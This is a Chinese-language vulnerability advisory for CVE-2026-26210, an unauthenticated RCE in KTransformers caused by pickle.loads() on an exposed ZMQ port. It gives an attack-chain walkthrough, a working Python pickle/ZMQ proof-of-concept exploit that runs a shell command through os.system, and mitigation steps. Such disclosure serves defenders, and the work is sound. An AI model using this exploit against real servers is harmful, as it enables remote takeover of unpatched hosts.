IPBUF安全漏洞报告
English
CVE-2026-26210 CVSS 9.8 严重

CVE-2026-26210 KTransformers不安全反序列化致RCE

披露日期: 2026-04-23

漏洞信息

漏洞编号
CVE-2026-26210
漏洞类型
不安全反序列化
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
KTransformers

相关标签

RCE不安全反序列化KTransformersPickleZMQ

漏洞概述

KTransformers 0.5.3及之前版本在balance_serve模式下存在严重不安全反序列化漏洞。由于ZMQ调度器RPC服务未配置身份验证且绑定所有接口,直接使用pickle.loads()处理消息,导致攻击者可发送恶意pickle载荷,无需用户交互即可在服务器端执行任意代码。

技术细节

该漏洞的核心在于Python pickle模块的不安全反序列化。KTransformers的balance_serve后端启动了一个ZMQ ROUTER套接字监听全网(0.0.0.0),且缺乏认证机制。当服务端接收到网络消息后,直接调用pickle.loads()对数据进行还原。Pickle在反序列化过程中会自动执行对象`__reduce__`方法指定的代码。攻击者可构造包含系统命令的恶意pickle数据包发送至目标端口,服务端解析后将直接执行命令,从而获取服务器控制权。

攻击链分析

STEP 1
侦察
攻击者识别出互联网上开启了balance_serve模式的KTransformers服务,并探测其开放的ZMQ端口。
STEP 2
构造载荷
攻击者利用Python的pickle模块,生成包含`__reduce__`方法的恶意序列化对象,该对象指向需要执行的操作系统命令。
STEP 3
发送攻击
攻击者通过ZMQ协议将构造好的恶意pickle数据包发送给目标服务器的ROUTER套接字。
STEP 4
代码执行
目标服务器接收到数据后,调用pickle.loads()进行反序列化,触发恶意代码执行,从而获得服务器权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import zmq import pickle import os def generate_payload(command): """Generates a malicious pickle payload.""" class Exploit(object): def __reduce__(self): # Execute the command on the target system return (os.system, (command,)) return pickle.dumps(Exploit()) def send_exploit(target_ip, target_port, command): """Sends the exploit to the vulnerable ZMQ server.""" context = zmq.Context() # Use DEALER socket to connect to ROUTER socket = context.socket(zmq.DEALER) socket.connect(f"tcp://{target_ip}:{target_port}") print(f"[*] Sending payload: {command}") payload = generate_payload(command) socket.send(payload) print("[+] Payload sent.") socket.close() context.term() if __name__ == "__main__": # Replace with actual target IP and Port TARGET_IP = "127.0.0.1" TARGET_PORT = 5555 COMMAND = "touch /tmp/pwned" send_exploit(TARGET_IP, TARGET_PORT, COMMAND)

影响范围

KTransformers <= 0.5.3

防御指南

临时缓解措施
建议立即升级到修复了该漏洞的最新版本。如果暂时无法升级,请务必通过防火墙规则限制ZMQ服务端口的访问,仅允许本地回环或受信任的内网IP连接,并停止使用balance_serve模式直到完成升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表